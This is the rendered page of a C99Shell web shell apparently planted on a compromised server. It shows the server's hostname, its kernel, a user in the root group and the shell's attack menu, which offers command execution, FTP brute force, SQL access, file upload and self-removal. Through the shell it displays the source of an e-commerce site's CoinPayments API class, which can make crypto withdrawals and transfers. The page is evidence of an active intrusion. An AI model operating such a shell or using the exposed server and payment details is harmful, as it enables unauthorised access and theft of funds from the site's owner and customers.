!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache. PHP/8.1.30 

uname -a: Linux server1.tuhinhossain.com 5.15.0-151-generic #161-Ubuntu SMP Tue Jul 22 14:25:40 UTC
2025 x86_64
 

uid=1002(picotech) gid=1003(picotech) groups=1003(picotech),0(root)  

Safe-mode: OFF (not secure)

/home/picotech/domains/ecom1.picotech.app/public_html_ecom1/Modules/Coinpayment/Helper/   drwxr-xr-x
Free 26.32 GB of 117.98 GB (22.31%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     CoinpaymentApi.php (7.88 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

namespace Modules\Coinpayment\Helper;

class 
CoinpaymentApi
{
    private 
$privateKey '';
    private 
$publicKey '';
    private 
$ch null;

    public function 
__construct($privateKey ''$publicKey '')
    {
        
$this->setup($privateKey$publicKey);
    }
    public function 
Setup($privateKey$publicKey)
    {
        
$this->privateKey $privateKey;
        
$this->publicKey $publicKey;
        
$this->ch null;
    }

    
/**
     * Gets the current CoinPayments.net exchange rate. Output includes both crypto and fiat currencies.
     * @param short If short == TRUE (the default), the output won't include the currency names and confirms needed to save bandwidth.
     */
    
public function getRates($short TRUE)
    {
        
$short $short 0;
        return 
$this->api_call('rates', array('short' => $short));
    }

    
/**
     * Gets your current coin balances (only includes coins with a balance unless all = TRUE).<br />
     * @param all If all = TRUE then it will return all coins, even those with a 0 balance.
     */
    
public function GetBalances($all FALSE)
    {
        return 
$this->api_call('balances', array('all' => $all 0));
    }

    
/**
     * Creates a basic transaction with minimal parameters.<br />
     * See CreateTransaction for more advanced features.
     * @param amount The amount of the transaction (floating point to 8 decimals).
     * @param currency1 The source currency (ie. USD), this is used to calculate the exchange rate for you.
     * @param currency2 The cryptocurrency of the transaction. currency1 and currency2 can be the same if you don't want any exchange rate conversion.
     * @param buyer_email Set the buyer's email so they can automatically claim refunds if there is an issue with their payment.
     * @param address Optionally set the payout address of the transaction. If address is empty then it will follow your payout settings for that coin.
     * @param ipn_url Optionally set an IPN handler to receive notices about this transaction. If ipn_url is empty then it will use the default IPN URL in your account.
     */
    
public function CreateTransactionSimple($req)
    {
        return 
$this->api_call('create_transaction'$req);
    }

    public function 
CreateTransaction($req)
    {
        
// See https://www.coinpayments.net/apidoc-create-transaction for parameters
        
return $this->api_call('create_transaction'$req);
    }

    
/**
     * Creates an address for receiving payments into your CoinPayments Wallet.<br />
     * @param currency The cryptocurrency to create a receiving address for.
     * @param ipn_url Optionally set an IPN handler to receive notices about this transaction. If ipn_url is empty then it will use the default IPN URL in your account.
     */
    
public function GetCallbackAddress($currency$ipn_url '')
    {
        
$req = array(
            
'currency' => $currency,
            
'ipn_url' => $ipn_url,
        );
        return 
$this->api_call('get_callback_address'$req);
    }

    
/**
     * Creates a withdrawal from your account to a specified address.<br />
     * @param amount The amount of the transaction (floating point to 8 decimals).
     * @param currency The cryptocurrency to withdraw.
     * @param address The address to send the coins to.
     * @param auto_confirm If auto_confirm is TRUE, then the withdrawal will be performed without an email confirmation.
     * @param ipn_url Optionally set an IPN handler to receive notices about this transaction. If ipn_url is empty then it will use the default IPN URL in your account.
     */
    
public function CreateWithdrawal($amount$currency$address$auto_confirm FALSE$ipn_url '')
    {
        
$req = array(
            
'amount' => $amount,
            
'currency' => $currency,
            
'address' => $address,
            
'auto_confirm' => $auto_confirm 0,
            
'ipn_url' => $ipn_url,
        );
        return 
$this->api_call('create_withdrawal'$req);
    }

    
/**
     * Creates a transfer from your account to a specified merchant.<br />
     * @param amount The amount of the transaction (floating point to 8 decimals).
     * @param currency The cryptocurrency to withdraw.
     * @param merchant The merchant ID to send the coins to.
     * @param auto_confirm If auto_confirm is TRUE, then the transfer will be performed without an email confirmation.
     */
    
public function CreateTransfer($amount$currency$merchant$auto_confirm FALSE)
    {
        
$req = array(
            
'amount' => $amount,
            
'currency' => $currency,
            
'merchant' => $merchant,
            
'auto_confirm' => $auto_confirm 0,
        );
        return 
$this->api_call('create_transfer'$req);
    }

    
/**
     * Creates a transfer from your account to a specified $PayByName tag.<br />
     * @param amount The amount of the transaction (floating point to 8 decimals).
     * @param currency The cryptocurrency to withdraw.
     * @param pbntag The $PayByName tag to send funds to.
     * @param auto_confirm If auto_confirm is TRUE, then the transfer will be performed without an email confirmation.
     */
    
public function SendToPayByName($amount$currency$pbntag$auto_confirm FALSE)
    {
        
$req = array(
            
'amount' => $amount,
            
'currency' => $currency,
            
'pbntag' => $pbntag,
            
'auto_confirm' => $auto_confirm 0,
        );
        return 
$this->api_call('create_transfer'$req);
    }

    private function 
is_setup()
    {
        return (!empty(
$this->privateKey) && !empty($this->publicKey));
    }

    private function 
api_call($cmd$req = array())
    {
        if (!
$this->is_setup()) {
            return array(
'error' => 'You have not called the Setup function with your private and public keys!');
        }

        
// Set the API command and required fields
        
$req['version'] = 1;
        
$req['cmd'] = $cmd;
        
$req['key'] = $this->publicKey;
        
$req['format'] = 'json'//supported values are json and xml

        // Generate the query string
        
$post_data http_build_query($req'''&');

        
// Calculate the HMAC signature on the POST data
        
$hmac hash_hmac('sha512'$post_data$this->privateKey);

        
// Create cURL handle and initialize (if needed)
        
if ($this->ch === null) {
            
$this->ch curl_init('https://www.coinpayments.net/api.php');
            
curl_setopt($this->chCURLOPT_FAILONERRORTRUE);
            
curl_setopt($this->chCURLOPT_RETURNTRANSFERTRUE);
            
curl_setopt($this->chCURLOPT_SSL_VERIFYPEERconfig('coinpayment.ssl_verify_peer'));
            
curl_setopt($this->chCURLOPT_SSL_VERIFYHOSTconfig('coinpayment.ssl_verify_host'));
        }
        
curl_setopt($this->chCURLOPT_HTTPHEADER, array('HMAC: ' $hmac));
        
curl_setopt($this->chCURLOPT_POSTFIELDS$post_data);

        
$data curl_exec($this->ch);
        if (
$data !== FALSE) {
            if (
PHP_INT_SIZE && version_compare(PHP_VERSION'5.4.0') >= 0) {
                
// We are on 32-bit PHP, so use the bigint as string option. If you are using any API calls with Satoshis it is highly NOT recommended to use 32-bit PHP
                
$dec json_decode($dataTRUE512JSON_BIGINT_AS_STRING);
            } else {
                
$dec json_decode($dataTRUE);
            }
            if (
$dec !== NULL && count($dec)) {
                return 
$dec;
            } else {
                
// If you are using PHP 5.5.0 or higher you can use json_last_error_msg() for a better error message
                
return array('error' => 'Unable to parse JSON result (' json_last_error() . ')');
            }
        } else {
            return array(
'error' => 'cURL error: ' curl_error($this->ch));
        }
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0046 ]--